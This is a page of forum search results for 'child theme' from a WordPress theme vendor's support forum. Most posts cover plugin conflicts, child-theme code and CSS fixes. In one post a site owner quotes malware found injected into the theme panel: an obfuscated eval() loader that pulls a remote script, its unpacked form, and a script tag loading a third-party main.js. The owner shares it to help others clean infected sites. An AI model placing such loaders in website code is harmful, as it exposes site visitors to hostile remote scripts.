Search Results for 'child theme'

    No search results were found in Documentation!

Results from the Forum
Bogdan B.
tagDiv Staff

Hello Joshua,
Do you maybe have both visual composer and the tagdiv composer plugins active? If so, please disable one of them and only use a single page builder. Having both active at the same time is not recommended.
If this is not the case, please disable all plugins except the page builder and contact form, clear cache and reset cdn files if you use it. Please also check any custom code you might have added to the theme panel or the theme files. If you use a child theme, please switch to the main theme to make sure it does not affect the proper functionality of the theme.

Thank you!

Bogdan B.
tagDiv Staff

Hello,

This could be a plugin conflict so please disable all plugins except the page builder, clear cache and reset cdn files if you use it. Please also check any custom code you might have added to the theme panel or the theme files. If you use a child theme, please switch to the main theme to make sure it does not affect the proper functionality of the theme.

Thank you!

Bogdan B.
tagDiv Staff

Hello,

This could be a plugin conflict so please disable all plugins except the page builder, clear cache and reset cdn files if you use it. Please also check any custom code you might have added to the theme panel or the theme files. If you use a child theme, please switch to the main theme to make sure it does not affect the proper functionality of the theme.

Thank you!

Bogdan B.
tagDiv Staff

Hello,

First please test your code in the main functions.php file and see if the code work properly. If it does, then please read this guide:
https://code.tutsplus.com/tutorials/a-guide-to-overriding-parent-theme-functions-in-your-child-theme–cms-22623

Thank you!

Ken0929
Participant
#0

Hi,
My function.php (Child-Theme) can not be applied.
What am I missing?

<?php
/* —————————————————————————-
Newspaper V6.3+ Child theme – Please do not use this child theme with older versions of Newspaper Theme

What can be overwritten via the child theme:
– everything from /parts folder
– all the loops (loop.php loop-single-1.php) etc
– please read the child theme documentation: https://forum.tagdiv.com/the-child-theme-support-tutorial/

– the rest of the theme has to be modified via the theme api:
https://forum.tagdiv.com/the-theme-api/

*/

add_action(‘init’,’add_categories_for_pages’);
function add_categories_for_pages(){
register_taxonomy_for_object_type(‘category’, ‘page’);
}
add_action( ‘pre_get_posts’, ‘nobita_merge_page_categories_at_category_archive’ );
function nobita_merge_page_categories_at_category_archive( $query ) {
if ( $query->is_category== true && $query->is_main_query() ) {
$query->set(‘post_type’, array( ‘post’, ‘page’, ‘nav_menu_item’));
}
}

function custom_wp_tag_cloud($args) {
$myargs = array(
‘orderby’ => ‘count’, //使用頻度順
‘order’ => ‘DESC’, // 降順(使用頻度の高い順)
‘number’ => 40 // 表示数
);
$args = wp_parse_args($args, $myargs);
return $args;
}
add_filter( ‘widget_tag_cloud_args’, ‘custom_wp_tag_cloud’ );

// 固定ページにタグを設定
function add_tag_to_page() {
register_taxonomy_for_object_type(‘post_tag’, ‘page’);
}
add_action(‘init’, ‘add_tag_to_page’);
// タグアーカイブに固定ページを含める
function add_page_to_tag_archive( $obj ) {
if ( is_tag() ) {
$obj->query_vars[‘post_type’] = array( ‘post’, ‘page’ );
}
}
add_action( ‘pre_get_posts’, ‘add_page_to_tag_archive’ );

add_theme_support(‘post-thumbnails’);

/* —————————————————————————-
add the parent style + style.css from this folder
*/
add_action( ‘wp_enqueue_scripts’, ‘theme_enqueue_styles’, 1001);
function theme_enqueue_styles() {
wp_enqueue_style(‘td-theme’, get_template_directory_uri() . ‘/style.css’, ”, TD_THEME_VERSION, ‘all’ );
wp_enqueue_style(‘td-theme-child’, get_stylesheet_directory_uri() . ‘/style.css’, array(‘td-theme’), TD_THEME_VERSION . ‘c’, ‘all’ );

?>

PeriodismoActual
tagDiv Member

Hi.

I have several developments on this subject.

First, I have to say that problem 2 is already “fixed”. Why do I say “solved” with quotes? Well, because I noticed that the categories also appear in posts in that category. I read that, by default, the background images of the categories appeared in the posts of those categories and this effect could not be disabled (I really wanted the background images to only appear the pages of the categories, not the posts). As a result, I deleted the background images from the categories.

In short: problem number two no longer exists.

With respect to problem number 1 (remember: this problem happened only in iPhones, and was that the main navigation bar, in iPhones, “goes up” and appears to black bar that aesthetically looks very bad).

Well, number one problem still exists. I have not been able to solve the problem. Right now I have all the disabled plugins (except the “tagDiv composer” and “tagDiv Social Counter” plugins) and the problem persists. Even deactivating the “tagDiv composer” and “tagDiv social Counter” plugins, the problem continues.

More info: I have removed all the cache (I even disabled the “WP Super Cache” plugin) and I do not have a “child theme” (or, at least, I have not configured any “child theme”).

I attach these screenshots where you can see the problem (these screenshots are new, they are not the same ones I put in the first post). As you can see, when I navigate with iPhone, the main navigation bar is “up” and that black bar appears.

periodismoactual.com website problem

Therefore, I have created an account with administrator permissions in “wp-admin” I have sent the corresponding credentials to the email contact@tagdiv.com with the necessary information.

(Of course, until you review everything necessary to determine the problem and its possible solution, I will not activate any plugin).

Thank you so much for your attention!
(Please excuse my English, not my mother tongue).

TheMediumUTM
Participant
#0

Very minor request, but… the child theme screenshot.png is still suited to Newspaper 7, not 8. Do you mind updating that on next release? It’s pure candy but it makes for a more consistent themes page 🙂

Simion C.
tagDiv Staff

Hi,

Each Big grid has predefined styles that you can select. Those can be seen here for example for the grid you mention
https://demo.tagdiv.com/newspaper/full-big-grid-5/
If you would like to keep the current grid style, you can try this code that will remove the shadow applied on the thumbnails
https://www.screencast.com/t/G136zrY1g0nD
Enter the code in Theme panel->Custom CSS if you decide to use it

.td_block_big_grid_fl_5.td-grid-style-1 .td-module-thumb a:last-child:before {
display: none;
}

Thanks

Bogdan B.
tagDiv Staff

Hello,

You search, the mobile menu and ajax filters do not work. This is a js conflict and it has the console errors to go with it: https://www.screencast.com/t/t6yXfaGQQ

Please disable all plugins except the page builder, clear cache and reset cdn files if you use it. Please also check any custom code you might have added to the theme panel or the theme files. If you use a child theme, please switch to the main theme to make sure it does not affect the proper functionality of the theme.

Thank you!

Simion C.
tagDiv Staff

Hi,

You can try a code like this for example, it should work for all the grids and remove the shadow you mention
https://www.screencast.com/t/gVPEdQbyri

.td-grid-style-1 .td-module-thumb a:last-child:before {
display: none!important;
}

Enter the code in Theme panel->Custom CSS section.

Thanks

Bogdan B.
tagDiv Staff

It could have been a plugin conflict, yes that prevented the theme code from working properly. It could have been a child theme or a customization or an optimization tool. It is hard to say now. There is no error log on this so I can only guess at this point, sorry.

Thanks.

scorpiock
Participant
#0

Hello,

In theme panel, I can upload only one custom font type (WOFF). How do I add all types (EOT, TFF, WOFF2) for better browser compatibility?

I tried adding following child theme’s style.css but that didn’t work.

@font-face{font-family:"Museo Sans";src:url("fonts/museo.eot?#iefix");src:url("fonts/museo.eot?#iefix") format("eot"),url("fonts/museo.woff2") format("woff2"),url("fonts/museo.woff") format("woff"),url("fonts/museo.ttf") format("truetype");}
@font-face{font-family:'Charter';font-style:normal;src:url('fonts/charter.eot');src:url('fonts/charter.eot?#iefix') format('embedded-opentype'),local('Muli'),local('Muli-regular'),url('fonts/charter.woff2') format('woff2'),url('fonts/charter.woff') format('woff'),url('fonts/charter.ttf') format('truetype');}

Kevin Littlewood
tagDiv Member

Hi – problem resolved.

Forgot I had created a child theme – made the updates there and it worked perfectly. A child theme may be a better way to go rather than modifying the core theme. Easy to forget which files you have updated.

Thanks for the help – Kevin

Simion C.
tagDiv Staff

Hi,

You can enable the gallery, zoom and slide for product images by adding the code mentioned in this topic
https://github.com/woocommerce/woocommerce/wiki/Enabling-product-gallery-features-(zoom,-swipe,-lightbox)-in-3.0.0
Add the code for the feature you want or all of it, in the theme functions.php file (or child theme functions.php)
https://www.screencast.com/t/B9yGpy73qr

Thanks

Simion C.
tagDiv Staff

Hi,

It seems I missed that reference. However the second child theme couldn’t of just appeared by itself. Please send us an email at contact@tagdiv.com and provide admin login information and FTP access, so we can take a look.
Also paste a link to this topic in your email.

Thanks

wwth
tagDiv Member

HI Simon,

On the second link above, in the Yellow Box it states “There is a new version of IonMag Available…”

In my themes folder I have

backup
Newspaper
Newspaper-child

That’s it.

I cant remember what “backup” would have been.

Simion C.
tagDiv Staff

Hi,

This is unusual. Please check in the themes folder on your wordpress install, there should be only one Newspaper-child theme folder present
https://www.screencast.com/t/4qr2ngmErt5
I do not see any ionMag reference in those screenshots, please correct me if I misunderstand.

Thanks

Simion C.
tagDiv Staff

Hi,

If this is not caused by a plugin, maybe you have added custom code in the theme panel, or directly to the theme files. Please check the code if that is the case. If you use a child theme switch to the main theme.
You could try a fresh theme install by FTP, and then check if the warnings are still present (make a backup before)
https://forum.tagdiv.com/install-via-ftp/
If the issue is still present please send us an email at contact@tagdiv.com and provide admin login information, so we will take a look. Maybe we can identify why this is happening.

Thanks

wwth
Participant
#0

Hi,

I’m really spooked by this. Just had a new child theme appear on my backend.

Here’s some screenshots

https://www.dropbox.com/s/y51axqt87apzylw/Screen%20Shot%202017-08-16%20at%2011.54.09.png?dl=0

https://www.dropbox.com/s/pd82gf00phwxmtm/Screen%20Shot%202017-08-16%20at%2011.55.54.png?dl=0

I am using Newspaper v 8.0 and a child theme

Please can you tell me what this might be?

Thanks

Bogdan B.
tagDiv Staff

Hello,

This could be a plugin conflict so please disable all plugins except the page builder, clear cache and reset cdn files if you use it. Please also check any custom code you might have added to the theme panel or the theme files. If you use a child theme, please switch to the main theme to make sure it does not affect the proper functionality of the theme.
If the issue is still there please contact us via email at contact@tagdiv.com and provide a link to your site and wp-admin so we can login and investigate.

Thank you!

Bogdan B.
tagDiv Staff

Hello,

This could be a plugin conflict so please disable all plugins except the page builder, clear cache and reset cdn files if you use it. Please also check any custom code you might have added to the theme panel or the theme files. If you use a child theme, please switch to the main theme to make sure it does not affect the proper functionality of the theme.

Thank you!

orz
tagDiv Member

Hi Bogdan,

I had to override the td_data_source.php file in my child-theme.
Its working great.

Hope it won’t cause chaos when new updates are released 🙂

jdubwitdasht
Participant
#0

I am going to create a child theme and install the GTM snippet in the header.php. My question is, I noticed two header.php files in the Newspaper theme:

1. header.php
2. mobile/header.php

To ensure that the GTM snippet is globally placed site-wide for all devices (Mobile/Tablet/Desktop…) do I need to place the GTM snippet in both header.php files?

theoharis
tagDiv Member

Hi,

Chris and mhendiz thanks for your advice, I’ve had already done all of your suggestions.
Finally I think I’ve resolved the issue. Here’s my thoughts:

Just before the beginning of my clean-up procedure the malware moved the script to
WP Admin > Newspaper > Theme panel > Custom Code > Custom Javascript

I found the following JS in this field:


eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('7 1=2.6(\'1\');1.5=\'4://3.8.9/d.3\';2.a(\'b\')[0].c(1);',14,14,'|script|document|js|https|src|createElement|var|trysomethingnew|eu|getElementsByTagName|head|appendChild|analytics'.split('|'),0,{}))

If you unpack the above, you’ll get:


var script = document.createElement('script');
script.src = 'https://js.trysomethingnew.eu/analytics.js';
document.getElementsByTagName('head')[0].appendChild(script);

So that’s why I couldn’t find the infection in the db.

The first stage of the infection included the following in the WP Admin > Newspaper > Theme panel > Header Ad:


<script src='https://blue.traffictrade.life/main.js' type='text/javascript'></script>

I hope now that I’ve installed fresh copies of WP, theme and plugins the issue will be resolved.

You can also check this post, if you encounter the same issue with old versions of Newspaper theme: https://productforums.google.com/forum/#!topic/webmasters/u5mYsV6gVdg

simchris
tagDiv Member

Well, if you install a ‘clean copy’ of the theme, and then it gets re-infected, then there is some malicious code on your site, or the overall site has been hacked.

Did you also remove any child theme if using one?

The version on ThemeForest is not infected.

Did you change *all* your passwords for WP, FTP, and your hosting panel?

Did you try going to an older dbase backup not infected?

We’re not having this issue on any of our sites, so not sure what to tell you beyond that.

I’m assuming you’ve done all the tutorials:
https://aw-snap.info/articles/malware-of-the-day.php

https://www.wordfence.com/blog/2017/08/traffictrade-malware/

http://www.wpbeginner.com/beginners-guide/beginners-step-step-guide-fixing-hacked-wordpress-site/

https://codex.wordpress.org/FAQ_My_site_was_hacked

https://sucuri.net/guides/how-to-clean-hacked-wordpress

http://danfennell.com/2017/07/24/traffictrade-life-malware-removal/

(I don’t work here.)

  • This reply was modified 9 years by simchris.
Viewing 25 results - 9,226 through 9,250 (of 12,866 total)